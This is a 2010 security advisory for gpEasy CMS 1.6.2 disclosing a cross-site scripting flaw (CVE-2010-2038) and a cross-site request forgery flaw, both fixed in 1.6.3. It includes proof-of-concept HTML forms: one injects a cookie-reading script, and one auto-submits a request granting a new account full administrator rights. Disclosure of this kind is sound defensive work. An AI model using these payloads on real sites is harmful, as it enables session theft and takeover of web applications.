Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in gpEasy CMS

Advisory ID:HTB22370
Product:gpEasy CMS
Vendor:gpeasy
Vulnerable Versions:1.6.2 and probably prior
Tested Version:1.6.2
Advisory Publication:May 5, 2010 [without technical details]
Vendor Notification:May 5, 2010
Public Disclosure:May 19, 2010
Latest Update:May 18, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2010-2038
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered two vulnerabilities in gpEasy CMS which could be exploited to perform cross-site scripting and cross-sire request forgery attacks.

1) Cross-site scripting vulnerability in gpEasy CMS: CVE-2010-2038
The vulnerability exists due to input sanitation error in the HTTP POST parameter " gpcontent" in include/tool/editing_files.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form method="POST" action="http://example.com/index.php/Home" name="myfrm">
<input type="hidden" name="cmd" value='save'>
<input type="hidden" name="gpcontent" value='text"><script>alert(document.cookie)</script>'>
</form>
<script>
d ocument.myfrm.submit();</script>


2) Cross-site request forgery (CSRF) gpEasy CMS
The vulnerability exists due to insufficient validation of the request origin in include/admin/admin_users.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create account with arbitrary privileges within application. Successful exploitation might result in complete compromise of the application.
Exploitation example:
<form action="http://example.com/index.php/Admin_Users" method="post" name="myfrm">
<input type="hidden" name="cmd" value="ResetDetails" >
<input type="hidden" name="username" value="editor" >
<input type="hidden" name="email" value="editor@editor.com" >
<input type="hidden" name="grant[]" value="Admin_Menu" >
<input type="hidden" name="grant[]" value="Admin_Uploaded" >
<input type="hidden" name="grant[]" value="Admin_Extra" >
<input type="hidden" name="grant[]" value="Admin_Theme" >
<input type="hidden" name="grant[]" value="Admin_Users" >
<input type="hidden" name="grant[]" value="Admin_Configuration" >
<input type="hidden" name="grant[]" value="Admin_Trash" >
<input type="hidden" name="grant[]" value="Admin_Uninstall" >
<input type="hidden" name="grant[]" value="Admin_Addons" >
<input type="hidden" name="grant[]" value="Admin_New" >
<input type="hidden" name="grant[]" value="Admin_Theme_Content" >
<input type="hidden" name="aaa" value="Continue" >
</form>
<script>
document.myfrm.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Fixed in version 1.6.3


References:
[1] High-Tech Bridge Advisory HTB22370 - https://www.immuniweb.com/advisory/HTB22370 - Multiple Vulnerabilities in gpEasy CMS
[2] gpEasy CMS - gpeasy.com - gp|Easy CMS is a complete and easy to use Content Management System written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential